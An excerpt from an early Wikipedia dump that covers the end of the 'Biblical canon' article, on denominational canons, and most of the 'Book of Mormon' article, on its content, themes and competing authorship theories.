[[Jesus Seminar]]: in [[1993]], ranked sayings of Jesus for authenticity by vote and published ''The Five Gospels : What Did Jesus Really Say? The Search for the Authentic Words of Jesus''. In addition to the canonical four gospels, the fifth gospel is the [[Gospel of Thomas]].

Many Christians have accepted and continue to accept the same '''27-book NT''', except for the [[Syriac Orthodox Church]] who continue to use the [[Peshitta]] and the [[Tewahedo Church|Ethiopian Orthodox Church]] (which lists four books of Sinodos (church practices), two Books of Covenant, &quot;Ethiopic Clement&quot;, and &quot;Ethiopic Didascalia&quot; within a broader New Testament canon, although their narrow canon is the same as that of other churches; see [http://www.islamic-awareness.org/Bible/Text/Canon/ethiopican.html this webpage] for much more detailed information on the Ethiopian Canon) and the [[Armenian Orthodox]] who include the [[Third Epistle to the Corinthians]]. The Canon of the [[Tewahedo Church]] is looser than for most other traditional Christian groups. The Ethiopian &quot;narrow&quot; Old Testament Canon includes the books found in the [[Septuagint]] accepted by the Orthodox plus [[Book of Enoch|Enoch]], [[Jubilees]], [[1 Esdras]] and [[2 Esdras]], [[3 Maccabees]], and [[Psalm 151]]; but their three books of the Maccabees are quite different in content from those of the other Christian churches which include them.  The order of the other books is somewhat different from other groups', as well.  This Church also has a &quot;broader canon&quot; that includes more books. 

The books that were not accepted, but that are known to have existed in antiquity, are stylistically or in subject matter similar to the New Testament, and claim apostolic authorship, are generally termed [[New Testament apocrypha]].

=== Modern Evangelicals ===
Many [[Evangelicalism|Evangelical]] Christian groups do not accept the theory that the Christian Bible was not known until various Roman-dominated Councils made their official declarations.

These groups believe that the New Testament supports that Paul (2 Timothy 4:11-13), Peter (2 Peter 3:15-16), and ultimately John (Revelation 22:18-19) finalized the canon of the New Testament. They note that Peter, John, and Paul wrote 20 (or 21) of the 27 books of the NT and personally knew all the other NT writers. (Books not attributed to these three are: Matthew, Mark, Luke, Acts, James, and Jude. The authorship of Hebrews has long been disputed.)

[[Protestantism|Protestants]] tend not to accept the [[Septuagint]] as the correct Hebrew Bible. They claim that the [[Masoretic text]] was known and used by the end of the first Century.  They note that early Christians knew the Hebrew Bible since around 170 A.D. [[Melito of Sardis]] listed all the books of the Old Testament that those in the Evangelical faiths now use (except, according to the ''Catholic Encyclopedia'', the Book of Esther). Melito's canon is found in [[Eusebius]] EH4.26.13-14 [http://www.newadvent.org/fathers/250104.htm]:
&lt;blockquote&gt; Accordingly when I went East and came to the place where these things were preached and done, I learned accurately the books of the Old Testament, and send them to thee as written below. Their names are as follows: [[Mosaic Law|Of Moses]], five books: Genesis, Exodus, Numbers, Leviticus,  Deuteronomy; [[Book of Joshua|Jesus Nave]], Judges, Ruth; of Kings, four books; of Chronicles, two; the Psalms of David,  the Proverbs of Solomon, [[Book of Wisdom|Wisdom]] also,  Ecclesiastes, Song of Songs, Job; of Prophets, Isaiah, Jeremiah; of the [[Minor prophet|twelve prophets]], one book ; Daniel, Ezekiel, [[Esdras]].  From which also I have made the extracts, dividing them into six books.&lt;/blockquote&gt;

===Modern interpretation of canonization===
Many modern Protestants point to four &quot;Criteria for Canonicity&quot; to justify the books that have been included in the Old and New Testament, which are judged to have satisfied the following:
#Apostolic Origin — attributed to and based on the preaching/teaching of the first-generation apostles (or their close companions).
#Universal Acceptance — acknowledged by all major Christian communities in the ancient world (by the end of the fourth century).
#Liturgical Use — read publicly when early Christian communities gathered for the Lord's Supper (their weekly worship services).
#Consistent Message — containing a theological outlook similar or complementary to other accepted Christian writings.

The basic factor for recognizing a book's canonicity for the New Testament was divine inspiration, and the chief test for this was apostolicity.  The term ''apostolic'' as used for the test of canonicity does not necessarily mean apostolic authorship or derivation, but rather ''apostolic authority''. ''Apostolic authority'' is never detached from the authority of the Lord. See [[Apostolic succession]].

It is sometimes difficult to apply these criteria to all books in the accepted canon, however, and some point to books that Protestants hold as apocryphal which would fulfill these requirements. In practice, Protestants hold to the Jewish canon for the Old Testament and the Catholic canon for the New Testament.

=== Latter-day Saint Scripture ===
[[Latter Day Saint]] churches include the English [[Bible]] (i.e. the Protestant [[King James Version]]) in their canon, but also include books that the Saints believe to be of ancient origin, even though they were first published in the [[19th century]] in English.  See [[Golden Plates]] for details. This usually includes the [[Book of Mormon]] and the [[Pearl of Great Price (Mormonism)|Pearl of Great Price]].  Additionally, the [[Doctrine and Covenants]] is a continually expanding work written and published in modern times and considered canonical by the [[Church of Jesus Christ of Latter-day Saints]] (by far the largest sect), though some LDS sects do not accept it.

The smaller [[Community of Christ]] has an authorized canon of three books.  They use an edition of the [[Joseph Smith Translation of the Bible]] known as the ''Inspired version'', along with more modern translations.  They accept the Book of Mormon as divinely inspired.  They also use a version of the Doctrine and Covenants common to the Latter Day Saint editions up to 1844 but which differs in content after the schism which occured following the 1844 death of [[Joseph Smith, Jr.]]. 

Judaism, and most other Christians do not accept these works as canon, and mostly regard them with ambivalence or rejection, regarding them instead to be original to the 19th century and not translations of ancient texts.  Most LDS faiths respect the free practice of other religions as enshrined in their [[Articles of Faith]], but insist that the LDS canon are not [[apocrypha]]l nor [[forgery|forged]].

See also [[Mormonism and Judaism]] and [[Mormonism and Christianity]].

==Footnotes==
*{{fnb|1}}Assuming Koine Greek primacy, which is the majority view, however, a small minority assume [[Aramaic primacy]], meaning an original Aramaic Gospel which would cite the [[Targums|Aramaic Old Testament]].

==See also==
*[[Books of the Bible]] for a side-by-side comparison of Jewish, Catholic, Orthodox and Protestant canons.

==References==
*Anchor Bible Dictionary
*Ante-Nicene Fathers, Eerdmans Press
*Apostolic Fathers, Lightfoot-Harmer-Holmes, ISBN 0801056764
*Encyclopedia of the Early Church, Oxford
*Beckwith, R.T. ''OT Canon of the NT Church'' ISBN 0802836178
*Brakke, David. &quot;Canon formation and social conflict in fourth century Egypt,&quot; in ''Harvard Theological Review'' 87:4 (1994) pp 395 &amp;ndash; 419. [[Athanasius]]' role in the formation of the N.T. canon.
*Bruce, F.F., ''Canon of Scripture'' ISBN 083081258X
*Davis, L.D. ''First Seven Ecumenical Councils'' ISBN 0814656161
*Ferguson ''Encyclopedia of Early Christianity''
*Fox, Robin Lane. ''The Unauthorized Version.'' 1992. A classical historian dispassionately discusses the formation of the canons.
*Gamble. ''NT Canon'' ISBN 0800704709
*Hennecke-Schneemelcher. ''NT Apcrypha''
*Jurgens, W.A. ''Faith of the Early Fathers'' ISBN 0814656161
*Metzger, Bruce. ''Canon of the NT'' ISBN 0198261802
*John Salza, [http://www.scripturecatholic.com/ Scripture Catholic], [http://www.scripturecatholic.com/septuagint.html Septuagint references]
*Sundberg. ''OT of the Early Church'' Harvard Press 1964

==External links==
*[http://www.newadvent.org/cathen/03267a.htm Catholic Encyclopedia: Canon of the Old Testament]
*[http://www.newadvent.org/cathen/03274a.htm Catholic Encyclopedia: Canon of the New Testament]
*[http://www.jewishencyclopedia.com/view.jsp?artid=1025&amp;letter=B&amp;search=Bible%20canon Jewish Encyclopedia: Bible Canon]
*[http://www.ntcanon.org/lists.shtml Development of the Canon of the New Testament]
*[http://wesley.nnu.edu/biblical_studies/noncanon/index.htm Noncanonical Literature]
*[http://www.earlychristianwritings.com/ Early Christian Writings]
*[http://www.nag-hammadi.com/ The Nag Hammadi library]
*[http://www.gnosis.org/naghamm/nhl.html Gnostic Society Library page on The Nag Hammadi library]
*[http://www.ubs-translations.org/tictalk/tt45.html United Bible Societies, Translation Information Clearinghouse: Canon Update] Annotated bibliography of recently published research
*[http://www.chabad.org/article.asp?aid=63255 Judaica Press Translation - Online Jewish translation of the Biblical canon.] The Tanakh and [[Rashi]]'s entire commentary.

[[Category:Christian texts]]
[[Category:Jewish Christian topics]]
[[Category:Bible]]

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    <title>Book of Mormon</title>
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      <comment>Reverted edits by [[Special:Contributions/65.64.101.88|65.64.101.88]] ([[User talk:65.64.101.88|talk]]) to last version by 129.93.205.149</comment>
      <text xml:space="preserve">[[Image:LDSBOM.jpg|right|frame|Book of Mormon: Another Testament of Jesus Christ (The Church of Jesus Christ of Latter-day Saints edition)]]
The '''''Book of Mormon''''' is one of four [[sacred text]]s of [[Mormonism]], which also include the [[Bible]], ''[[Pearl of Great Price (Mormonism)|Pearl of Great Price]]'', and ''[[Doctrine and Covenants]]''. Published by the first prophet of this movement, [[Joseph Smith, Jr.]], in March [[1830]] in [[Palmyra (town), New York|Palmyra]], [[New York]], the belief in the truthfulness of this book stands as the central dividing doctrine of [[The Church of Jesus Christ of Latter-day Saints]] from other [[Christian]] faiths. Adherents to its teachings are commonly referred to as [[Mormon|Mormons]]. The book's self-declared purpose is to testify of [[Jesus]] through the writings of ancient [[prophet]]s of the [[Western Hemisphere]] who traveled there from ancient [[Israel]], probably between 600-650 BC. It asserts that it was abridged and compiled by the prophet/historian [[Mormon (prophet)|Mormon]], and his son [[Moroni (Mormonism)|Moroni]] in the [[4th century]], for &quot;the convincing of the [[Jew]] and [[Gentile]] that [[Jesus]] is the [[Christ]], the Eternal [[God]].&quot;  Joseph Smith is said to have translated the record by divine inspiration with assistance from the [[Urim and Thummim]].  

Along with the [[Bible]], which is also held to be the Word of God, the ''Book of Mormon'' is esteemed as part of the [[Biblical canon|canon]] of churches that grew out of the [[Latter Day Saint movement]], founded by [[Joseph Smith, Jr.]] The largest of these denominations, [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (LDS Church), accepts the ''Bible'' &quot;as far as it is translated correctly&quot; [http://scriptures.lds.org/a_of_f/1#8 (Articles of Faith)], as well as the ''Book of Mormon'', the ''[[Pearl of Great Price (Mormonism)|Pearl of Great Price]]'', and the ''[[Doctrine and Covenants]]'' as canonical scripture.

==Content==
===Title Page===
{{Template:LDS}}
The title page, translated from the last of the [[golden plates]], states:
:&quot;The Book of Mormon - an account written by the hand of Mormon upon plates taken from the Plates of Nephi

:&quot;Wherefore, it is an abridgment of the record of the people of Nephi, and also of the Lamanites — Written to the Lamanites, who are a remnant of the house of Israel; and also to Jew and Gentile — Written by way of commandment, and also by the spirit of prophecy and of revelation — Written and sealed up, and hid up unto the Lord, that they might not be destroyed — To come forth by the gift and power of God unto the interpretation thereof — Sealed by the hand of Moroni, and hid up unto the Lord, to come forth in due time by way of the Gentile — The interpretation thereof by the gift of God.

:&quot;An abridgment taken from the Book of Ether also, which is a record of the people of Jared, who were scattered at the time the Lord confounded the language of the people, when they were building a tower to get to heaven — Which is to show unto the remnant of the House of Israel what great things the Lord hath done for their fathers; and that they may know the covenants of the Lord, that they are not cast off forever — And also to the convincing of the Jew and Gentile that JESUS is the CHRIST, the ETERNAL GOD manifesting himself unto all nations — And now, if there are faults they are the mistakes of men; wherefore, condemn not the things of God, that ye may be found spotless at the judgment-seat of Christ.&quot;

===Organization===
The format of ''The Book of Mormon'' is similar to the [[Bible]] in that there are separate books written by different authors who recorded the interactions of God with people. Generally the book is composed of the following books, though editorial divisions in different churches' editions vary:
*[[First Book of Nephi|First Book of Nephi: His Reign and Ministry]]
*[[Second Book of Nephi]]
*[[Book of Jacob|Book of Jacob: The Brother of Nephi]]
*[[Book of Enos]] 
*[[Book of Jarom]] 
*[[Book of Omni]]
*[[Words of Mormon]]
*[[Book of Mosiah]]
*[[Book of Alma|Book of Alma: The Son of Alma]]
*[[Book of Helaman]]
*[[Third Nephi|Third Nephi: The Book of Nephi, The Son of Nephi, Who Was the Son of Helaman]]
*[[Fourth Nephi|Fourth Nephi: The Book of Nephi, Who Is the Son of Nephi, One of the Disciples of Jesus Christ]] 
*[[Book of Mormon (Mormon's record)|Book of Mormon]]
*[[Book of Ether]]
*[[Book of Moroni]]

The book's sequence is primarily chronological. Notable exceptions include the &quot;Words of Mormon,&quot; which is an editorial insertion (authored by Mormon), and the &quot;Book of Ether,&quot; which is an abridgement by Moroni of an earlier civilization's record.  The books of First Nephi through Omni are first-person narratives, as are Mormon and Moroni.  The remainder of the Book of Mormon is a third-person historical narrative, compiled and abridged by Mormon.

In the version published by the LDS Church (&quot;The Book of Mormon: Another Testament of Jesus Christ&quot;), the book also contains a title page (written by Mormon and Moroni), a modern day introduction written by church leaders, the &quot;Testimony of [[Three Witnesses]],&quot; the &quot;Testimony of [[Eight Witnesses]],&quot; the &quot;Testimony of the Prophet Joseph Smith&quot; concerning the Book of Mormon, &quot;A brief explanation about the Book of Mormon,&quot; chapter headings written by [[Apostle (Mormonism)|Apostle]] [[Bruce R. McConkie]], a &quot;pronouncing guide&quot; to names and places, footnotes and cross-references to the Bible, and an index.

===Investigation of the book===
The book invites the reader to make a personal investigation into the veracity of the writings. The invitation is associated with a promise that God  will give an undeniable witness of its truthfulness through the [[Holy Spirit|Spirit]].  This can be found in the 10th chapter of Moroni, verses 3-5:
:&quot;Behold, I would exhort you that when ye shall read these things, if it be wisdom in God that ye should read them, that ye would remember how merciful the Lord hath been unto the children of men, from the creation of Adam even down until the time that ye shall receive these things, and ponder it in your hearts.

:&quot;And when ye shall receive these things, I would exhort you that ye would ask God, the Eternal Father, in the name of Christ, if these things are not true; and if ye shall ask with a sincere heart, with real intent, having faith in Christ, he will manifest the truth of it unto you, by the power of the Holy Ghost.

:&quot;And by the power of the Holy Ghost ye may know the truth of all things.&quot;

Such a witness is a very personal event and can vary widely, depending on the individual. Of those whom claim to have received a witness, most consider it to be sacred and of great import. In Mormon circles this is most commonly referred to as &quot;a testimony&quot;, a knowledge born of faith, prayer and spirit; and the act of telling others of the experience or the faith gained thereby is called &quot;bearing one's testimony&quot;.  A testimony is claimed to give the seeker assurance of the truth of these matters by seeking answers from God directly.

Critics refute the gaining of a testimony by arguing that the evidence against the Book of Mormon is irrefutable, that a testimony is a form of [[Brainwashing|brainwashing]] by the church and that readers are to gain a testimony and ignore scientific evidence supporting the critics attacks. However, defenders believe that Christ's praise of Peter in Matt 16:16,17 where Peter's knowledge of Christ as the Son of God comes from the Father is worthy of emulation.  Further, critics give no evidence of brainwashing techniques.

===Brief narrative summary===
The following dates, people, and named authors are laid forth in the Book of Mormon. 

*''1 Nephi'' begins in ancient [[Jerusalem]] around [[600 BC]], at roughly the same time as the [[Book of Jeremiah]] in the [[Bible]].  It tells the story of a [[prophet]], [[Lehi]], his family, and several others as they are led by [[God]] from Jerusalem, across the Arabian peninsula, and then to the Americas by ship. The books from ''1 Nephi'' to ''Omni'' recount the group's dealings from approximately 600 BC to about [[130 BC]], in which the community splits into two main groups, the [[Nephite]]s and the [[Lamanite]]s, and grow into separate sizeable civilizations that war with each other.

*The ''Words of Mormon'', written in AD [[385]] by [[Mormon (prophet)|Mormon]], is a short introduction to the books of ''Mosiah'', ''Alma'', ''Helaman'', ''3 Nephi'', and ''4 Nephi'', all of which he abridged from a large quantity of existing records that detailed his nation's history from the time of ''Omni'' to his own life.

*''3 Nephi'' is of particular importance because it contains an account of the [[Resurrection of Jesus|resurrected]] and glorified Jesus's visit to the Americas, sometime after his 40-day ministry and ascension into heaven at [[Jerusalem]]. During his American ministry, Christ repeated much of the same doctrine and instruction given in the [[Gospels]] of the [[Bible]] and established an enlightened, peaceful society which endures several generations.

*''Mormon'' is an account of the events during Mormon's life, after the enlightened society of ''3 Nephi'' and ''4 Nephi'' deteriorated yet again into warring groups.

*''Ether'' is an abridgment of a record of an earlier people by [[Moroni (Mormonism)|Moroni]], written shortly after the death of [[Mormon (prophet)|Mormon]], his father. The account describes a group of families, headed by a man named [[Jared (Book of Mormon)|Jared]] and his unnamed brother, as it is led by [[God]] to the Americas. The [[Jaredite]] civilization existed on the American continent long before Lehi's family arrived in 600 BC, and it was much larger and more developed. Some have argued that the rise and fall of the Jaredite empire corresponds with that of the [[Olmec]].

*''Moroni'' details the final destruction of the Nephites and the [[idolotry|idolatrous]] state of the remaining society. He adds a few spiritual insights and mentions some important doctrinal teachings, then closes with his [[testimony]] and an invitation to [[prayer|pray]] to God for a confirmation of the truthfulness of the account.

===The book's major themes===
====Stated purposes====
The purpose of ''The Book of Mormon'', as stated on its  original title page, &quot;is to show the remnant of the [[Children of Israel|House of Israel]] what great things the Lord has done for their fathers&quot; and to convince &quot;[[Jew]] and [[Gentile]] that [[Jesus]] is the [[Christ]], the Eternal [[God]], [[Manifestation of God|manifesting]] himself to all nations.&quot;

====Another Testament of Christ====
The crowning event of the Book of Mormon is the visitation of the [[resurrection|resurrected]] Christ to the Nephites around [[34|34 AD]], shortly after his ministry in [[Jerusalem]] (3 Nephi 11-26). Every [[prophet]] in the Book of Mormon teaches about [[Jesus]].

An [[angel]] prophesied to [[Nephi]] that [[Jesus]]'s birth would be 600 years from the time he and his family left [[Jerusalem]] (1 Nephi 10:4, 19:8; See 3 Nephi 1). Many [[Prophet|prophets]] in the Book of Mormon, beginning with [[Lehi]] and Nephi, saw in visions the birth, ministry, and death of Christ (1 Nephi 11), and were told his name. (Mosiah 3:8). At the time of [[King Benjamin]], the Nephites were called &quot;the children of Christ&quot; (Mosiah 5:7). The faithful members of the church at the time of [[Captain Moroni]] ([[73 BC]]) were called &quot;Christians&quot; by their enemies, because of their belief in Christ (Alma 46:13-15). For nearly 200 years after the Christ's appearance at the [[temple (Mormonism)|temple]] in the Americas, the land was filled with peace and prosperity because of the people's obedience to Christ's commandments (4 Nephi). The great prophet-general [[Mormon]] worked to convince the faithless people of his time of Christ ([[360|360 AD]]), and [[Moroni (Mormonism)|Moroni]] buried the [[Golden Plates|plates]] with faith in Christ (See title page). Many others also bore witness to the reality of the [[Messiah]].

====Some doctrinal teachings====
The following teachings are especially notable in ''The Book of Mormon'':
*Christ spoke to the [[Jew]]s in [[Jerusalem]] of 'other sheep' (referring to other Hebrews, not Gentiles) who would hear his voice (see [[Gospel of John|John]] 10:16), which the Book of Mormon explains meant that the Nephites and other remnants of the [[Ten Lost Tribes|lost tribes]] of Israel throughout the world were to be visited by Christ after his [[Resurrection of Jesus|resurrection]]. The various groups had their own [[Prophet|prophets]], and each recorded their history and dealings with God. These records will eventually be had among men, and will complement the Bible and Book of Mormon (3 Nephi 15:13-24, 3 Nephi 16:1-4, 2 Nephi 29:7-14).
*The land of the Jaredites, Nephites, and Lamanites, which is the American continent, is choice above all other lands (1 Nephi 2:20; 13:30; 2 Nephi 1:5; 10:19; Jacob 5:43; Ether 1:38, 42; 2:7; 2:10-12, 15; 9:20; 10:28; 13:2).
*&quot;Inasmuch as ye keep [the Lord's] commandments, ye shall prosper in the land, but inasmuch as ye keep not my commandments, ye shall be cut off from my presence&quot; (1 Nephi 2:20; 4:14; 2 Nephi 1:20; 4:4; Jarom 1:9; Omni 1:6; Mosiah 1:7; 2:22; 2:31; Alma 9:13; 36:1; 36:30; 37:13; 38:1; 48:15; 48:25; Helaman 3:20; 50:20; 3 Nephi 5:22).
*All mankind must be born again, for the natural man is an enemy to God until he yields to the holy spirit and is born of Christ, being changed to a state of righteousness, becoming his son or daughter (Mosiah 3:19; 27:25; Alma 22:15-18; Moroni 10:34).
*Between death and the resurrection the [[spirit]] returns to God and awaits the resurrection in either a place of rest or a place of darkness and torment. At the resurrection, the spirit and body shall be reunited, not one hair of the head shall be lost, and this resurrection shall come to all (Alma 11:42-45; 40:11-14, 23).
*Giving to the poor ([[charity]]) is emphasized as a necessary aspect of living the gospel of Christ (2 Nephi 9:30; Mosiah 4:26).

====Dominant narrative themes====
The following narrative themes are especially consistent in ''The Book of Mormon'':
*The Pride Cycle. When God blesses his people most, they forget him in [[pride]] until by tribulation they are brought to [[humility]] and [[repentance]], which brings the blessings of God.  Pride of heart because of exceeding riches unto wearing costly apparel and despising the poor is a sure sign of wickedness (2 Nephi 26:20; 28:13; Jacob 2:13; Alma 1:6, 27, 32; 4:6-13; 5:53; 31:28; 32:2-3; Hel. 4:12; 6:39; 4 Nephi 1:24; Mormon 8:37).
*The danger of [[Secret combination|secret combinations]], organizations which meet secretly and use secret signs and oaths, committing crimes for personal gain. Notable examples include the [[Gadianton robbers]] in the [[Book of Helaman]] and the secret combination of Akish in the [[Book of Ether]]. Prevalent modern interpretations of this term include [[gang]]s, [[Mafia]], and [[terrorism|terrorists]].
*The scattering and gathering of [[Ten Lost Tribes|Israel]]. Because the Nephites consider themselves a remnant of the [[children of Israel|House of Israel]], a great many passages refer to its scattering and gathering; [[Nephi]] quotes heavily from [[Isaiah]] concerning the subject, too. Many of the prophecies in the book refer to the [[end times|last days]], when Israel will be gathered for one final time.
*God's [[mercy]] to the [[faith|faithful]]. Throughout the book, references to God's mercy in forgiving the sins of those who [[repentance|repent]] and honoring those who have faith in him is shown. Several narratives involve stories of people who give up their sinful lives and adopt the gospel. Other narratives show what lies in store for those who reject the [[Prophet|prophets]] and teachers of the gospel. Many narratives show the kind of power God will exercise in behalf of those who believe in Him.
*America as the promised land. The ''Book of Mormon'' portrays the Americas as a favorable, promised land, to which the Lord leads favored groups of people, including the [[Jaredite]]s, the [[Mulekite]]s, the Nephites, and early European colonists of the New World.

==Origin of the Book of Mormon==
''See [[Linguistics and the Book of Mormon]] for additional information and analysis on authorship.''

===Authorship===
Many different parties have differing views on the origin of the Book of Mormon. If the book is what it purports to be then it is an ancient record, compiled and abridged by Mormon of the pre-Colombian Native Americans, recording the generations of his nation and the teachings of ancient Hebrews. If not, it was written by Joseph Smith and his associates.

===Joseph Smith as Translator===
If true then the book is an abridgment of earlier records by Mormon and his son, Moroni (who carried on the work of abridgment after his father's death) at about AD 400. The record was subsequently buried in a stone box in a hillside, where it remained until the time of Joseph Smith.

According to the accounts of [[Joseph Smith, Jr.|Joseph Smith]] and his associates, the original record was engraved on thin, malleable sheets of metal with the appearance of [[gold]] and bound with three rings at one edge, much like a modern book. The leaves were engraved on both sides with considerable skill. At the end of Moroni's ministry (around AD [[421]]), he hid these gold plates along with several other artifacts in a stone box.

On [[September 22]], [[1823]], Joseph Smith was directed by God through the [[angel]] [[Moroni (Mormonism)|Moroni]] to the place where the plates were stored. He was not immediately allowed to take them, but after four years was entrusted with them. Through the power of God he was able to translate the characters (supposedly related to 600 B.C. [[Reformed Egyptian|Egyptian]] with Hebrew influence ([http://scriptures.lds.org/morm/9 Mormon 9:32,34]) into [[English language|English]].

Because the heavy plates were reportedly made of gold (or perhaps gold alloy or gold colored metal), the plates were much sought-after by individuals interested in their monetary value. Joseph admitted that, prior to receiving the plates, he had entertained thoughts of selling them to provide for his family, who were farmers and not particularly wealthy or well-educated.

Joseph Smith claimed he was commanded to show the plates to several people and no one else. Accounts by these individuals are recorded in the front of The Book of Mormon as &quot;The Testimony of [[Three Witnesses]]&quot; and &quot;The Testimony of [[Eight Witnesses]].&quot; Most of the witnesses at some point became disaffected with Joseph Smith's leadership and the church, but none withdrew their testimony of what they signed.

After translation was complete, the angel again took the plates from Joseph Smith, and no public account of their whereabouts has been made since.

The golden plates were commonly referred to as a &quot;Golden Bible,&quot; particularly by non-Mormons, though a few members also used the term in early descriptions. The label &quot;Golden Bible&quot; actually predates the Book of Mormon as legends of such an artifact existed in Canada and upstate New York while Joseph Smith was growing up (Bushman 2005).

''See'' [[Golden Plates]]

====Passages from the King James Version of the Bible====
A substantial segment of the Book of Mormon, namely 2 Nephi chapters 7, 8, and 12-24, matches nearly word-for-word the chapters 50, 51-52:1-2, and 2-14 (respectively) of the [[King James Version of the Bible|King James Translation]] (1611) of the [[Book of Isaiah]].  While a point of argument for those who do not believe the text, latter-day saints accept these passages as obvious quotations from Isaiah by Nephi, the ancient author of that portion of the Book of Mormon.  The footnotes and chapter headings acknowledge this and encourage comparisons between Isaiah and 2 Nephi. There are differences in more than half of the 433 verses of Isaiah that are quoted in the Book of Mormon; most are very minor, but some are significant, which may show that Joseph Smith did not copy the KJV word-for-word. Some think he referred to it during the translation, and a few errors in the King James text also exist in the Book of Mormon.  It should be noted that this translation from the plates was made into the 1611 KJV literary and linguistic style, which was no longer commonly used when the translation occurred.

===Alternative explanations===
Alternative explanations for the authorship of the Book of Mormon have arisen, all of which are disputed by the Church. Most of these explanations attack the notion of Joseph Smith receiving divine [[revelation]]s.

An incomplete list of alternative origins of The Book of Mormon is given below. (See Dr. Jeff Lindsay's website for additional scholarly [http://www.jefflindsay.com/LDSFAQ/FQ_BMProb3.shtml analysis] in defense of these allegations.)

====Smith as author====
According to this view, [[Joseph Smith, Jr.|Joseph Smith]] simply wrote the Book of Mormon and later claimed to have translated it. This position tends to be the most commonly-held among Smith's critics and non-Mormons in general. Some [[Latter-day Saint]] scholars, such as [[Hugh Nibley]], addressed this viewpoint, claiming that it is nearly impossible to write such a book within such a period of time, particularly given that Smith was an unlearned man with little or no knowledge of Hebrew peoples. Forensic evidence is equally debated and remains inconclusive; many of Smith's writings have been preserved, a comparative analysis does not show that Smith or any close to him authored the manuscript. However, some believe there is evidence to indicate that Joseph Smith had both the capability and resources to accomplish this task (Vogel 2004).

Another way Smith could have written the Book of Mormon was by means of automatic, or spirit writing. This theory was suggested by Scott C. Dunn and others. Automatic writing refers to the ability to write or dictate text in a relatively rapid, seemingly effortless and fluent manner with no sense of control over the content. The content of automatic texts is often similar to that of the Book of Mormon: Examples include multiple authorship, use of archaic language, accounts of bygone historical figures, descriptions of times and places apparently unfamiliar to the writer, narratives with well-developed characters and plot, accounts of various ministries of Jesus Christ, poetics, occasionally impressive literary quality, doctrinal, theological, and cosmological discussions, and even discourses by deity. More importantly, the manner in which Joseph Smith produced the Book of Mormon, and apparently many revelations and other scriptures as well, bears strong resemblance to the process of automatic writing. For example, there is no indication that Smith used notes or outlines or conducted major reworkings of his materials prior to their initial publication. While such conditions are characteristic of a relatively simple translation task, they are also typical of automatic writing. There are many other characteristics of automatic writing shown in the circumstances surrounding the coming forth of the Book of Mormon (American Apocrypha, Signature Books, pg. 17-46).

====Smith as a plagiarist of contemporaries====
In the early 20th century LDS Apostle [[B.H. Roberts]] authored a manuscript entitled ''[http://www.signaturebooks.com/studies.htm Studies of the Book of Mormon]'', in which he critically examined the claims and origins of ''The Book of Mormon''. In his manuscript, Roberts compared the content of ''The Book of Mormon'' with ''View of the Hebrews'', a book written by Ethan Smith (no relation to Joseph), pastor of a church in [[Poultney, Vermont]].  ''View of the Hebrews'' was published in [[1825]], some five years before ''The Book of Mormon'' and called for recognition of Native Americans as the [[ten lost tribes|lost tribes]] of Israel and for bringing them back into the [[Christian]] fold. Speculation regarding the possible origins of the [[Indigenous peoples of the Americas|Native Americans]] was common in the era.

David Persuitte, in his book, ''Joseph Smith and the Origins of The Book of Mormon'', shows extensive parallels between passages in ''View of the Hebrews'' and in ''The Book of Mormon'', but notes no instances of direct copying, nor does he demonstrate that Smith ever read or even encountered the book. Had he owned a copy, Smith could be said to have been inspired by ''View of the Hebrews''.  However, it is known that Ethan Smith had visited Palmyra in support of his book, so the idea of Joseph Smith being exposed to ''View of the Hebrews'' is plausible.  However, if such plagarism did exist, most blame would have to be placed on the shoulders of [[Oliver Cowdery]].  Cowdery was educated and trained as a typesetter/printers assistant in the 1800s and worked at the ''Poultney Gazette'' in the summer of 1823 (the paper became the ''Northern Spectator'' in December of 1823) when Ethan Smith brought the ''View of the Hebrews'' manuscript to be published.  Soon thereafter Cowdery left the paper and within a few months [[Joseph Smith]] had reported the first divine visitation on the equinox ([[September 21]] [[1823]]).  The obvious connection being that Oliver Cowdery and Joseph Smith were related and often associated together.  This employment at the ''Poultney Gazette'' would not have been Cowderys first exposure to ''View of the Hebrews'', his family, including father William and stepmother Keziah, were noted as being longstanding members of Ethan Smiths congregation in Poultney when he arrived and assumed leadership in November 1821. Ethan Smith made no secret of his theories presented in ''View of the Hebrews'' during sermons.

Some claim Smith plagiarized material from the manuscript for an unpublished novel by [[Solomon Spaulding]]. Spaulding's romantic novel has very little in common with the Book of Mormon. Even the  story, which revolves around a group of seafaring Romans who sail to the New World around two millennia ago is not relatable to the Book of Mormon.  
&lt;!-- the recent vandalism by the so called 'anon-ip' detracts even further from the value of the entire article.  Visor, if you are reading, this goes a long way to proving my point(s) of exactly what is wrong here --&gt;
Recently, non-Mormon researcher Thomas Donofrio claims to have found hundreds of parallels between peculiar wordings in the Book of Mormon and the writings of well-known historical and religious figures of the 18th and 19th centuries.  Some difficulty is seen with this hypothesis given Joseph Smith's lack of formal education.  It is additionally complicated by the two simple facts: first, on the surface the two writings appear to have little in common making thematic plagarism unlikely; second, the Spaulding manuscript is shorter than thirty pages, while the first edition of the Book of Mormon was nearly six hundred pages, making large-scale passage plagarims impossible.

====One of Smith's colleagues as author====
According to this theory, someone else (either [[Sidney Rigdon]] or some other close friend of Smith) wrote the book and allowed Smith to take credit for it. Given that Smith had only basic literacy at the time, some consider this theory more probable than the view that Smith wrote the book himself. Both Sidney Rigdon and [[Oliver Cowdery]] were better educated and could have helped Smith author the book. According to one theory invented by Richard Bushman (2005), after dictating the primary text, Smith and his scribes would spend the evenings poring over the text, editing and making adjustments. In this case, the Book of Mormon would be considered a collaboration between Smith and his scribes, primarily Oliver Cowdery.

Sidney Rigdon and Oliver Cowdery both denied having written the book, and in fact Cowdery was one of the [[Three Witnesses]] to the Book of Mormon. Even though he became disaffected with Joseph Smith's leadership and with the church and was excommunicated in 1838, Cowdery never denied his testimony of having seen the golden plates and a decade later returned to the church. There is also no evidence that Joseph Smith knew of or was in contact with Sidney Rigdon until after the Book of Mormon was published. Most histories state that [[Parley P. Pratt]], a member of Rigdon's congregation near [[Kirtland, Ohio]], was baptized around September 1830 in [[Palmyra, New York|Palmyra]]. Soon after, Pratt returned to Ohio, which is when Rigdon learned of Smith and the Book of Mormon and was baptized. According to these accounts, Rigdon first met Smith in December 1830, nine months after the Book of Mormon's publication.

==Views of the Faithful==
{{main|Archaeology and the Book of Mormon}}

===Latter Day Saint views===
The dominant and widely accepted view among [[Latter Day Saints]] is that the Book of Mormon is a true account of the people whose history it documents.

